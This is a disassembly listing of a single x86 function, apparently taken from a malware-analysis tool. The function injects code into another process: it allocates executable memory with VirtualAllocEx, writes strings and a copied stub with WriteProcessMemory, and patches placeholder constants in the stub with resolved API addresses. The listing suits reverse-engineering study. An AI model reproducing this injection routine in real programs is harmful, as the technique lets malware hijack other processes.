Function at 0x402580
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0x214
push ebx
push ebp
push esi
push edi
call fcn.00402520
mov ebx, dword [esp + 0x228]
mov ebp, 0x402570
sub ebp, eax
mov dword [esp + 0x14], eax
test ebx, ebx
je 0x402799
push 0x40
push 0x1000
push ebp
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [0x4089f4], eax
mov edi, 0x408610
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x120]
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, dword [0x408034]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [0x408038]
and ecx, 3
mov dword [esp + 0x24], eax
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [str.InstallLaunchEv]
xor eax, eax
mov dword [esp + 0x1c], ecx
mov ecx, dword [0x40803c]
mov dword [esp + 0x28], ecx
mov ecx, 0x3d
lea edi, [esp + 0x2c]
mov dword [esp + 0x20], edx
rep stosd dword es:[edi], eax
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x120]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 4
push 0x1000
lea eax, [edx + ecx + 0x11]
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test eax, eax
mov dword [0x4089f8], eax
je 0x402799
mov eax, dword [0x4089f4]
test eax, eax
je 0x402799
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.Kernel32.dll
call edi
push str.User32.dll
mov esi, eax
call edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.LoadLibraryA
push esi
call edi
push str.GetProcAddress
push esi
mov dword [esp + 0x20], eax
call edi
mov dword [esp + 0x10], eax
lea edi, [esp + 0x120]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [0x4089f8]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
not ecx
push 0
push ecx
lea ecx, [esp + 0x128]
push ecx
push edx
push ebx
call esi
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [0x4089f8]
lea eax, [esp + 0x24]
add ecx, 0x10
push eax
push ecx
push ebx
call esi
push ebp
call fcn.004029f0
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x402799
mov esi, dword [esp + 0x14]
mov ecx, ebp
mov edx, ecx
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 4]
and ecx, 3
xor eax, eax
test edx, edx
rep movsb byte es:[edi], byte [esi]
jle 0x402777
mov esi, dword [esp + 0x22c]
mov ecx, dword [eax + ebx]
cmp ecx, 0x11111111
jne 0x402733
mov ecx, dword [esp + 0x18]
jmp 0x40276f
cmp ecx, 0x22222222
jne 0x402743
mov ecx, dword [0x4089f8]
jmp 0x40276f
cmp ecx, 0x33333333
jne 0x402750
mov dword [eax + ebx], esi
jmp 0x402772
cmp ecx, 0x44444444
jne 0x40275e
mov ecx, dword [esp + 0x10]
jmp 0x40276f
cmp ecx, 0x55555555
jne 0x402772
mov ecx, dword [0x4089f8]
add ecx, 0x10
mov dword [eax + ebx], ecx
inc eax
cmp eax, edx
jl 0x402722
mov edx, dword [0x4089f4]
mov eax, dword [esp + 0x228]
push 0
push ebp
push ebx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
call fcn.0040295e
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x214
ret